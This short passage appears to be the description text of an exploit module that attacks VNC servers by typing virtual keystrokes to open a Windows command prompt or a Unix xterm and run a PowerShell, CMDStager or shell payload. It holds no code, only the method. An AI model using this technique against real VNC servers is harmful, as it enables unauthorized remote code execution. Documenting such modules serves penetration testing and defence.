        This module exploits VNC servers by sending virtual keyboard keys and executing
        a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
        payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
        and a payload is typed and executed.
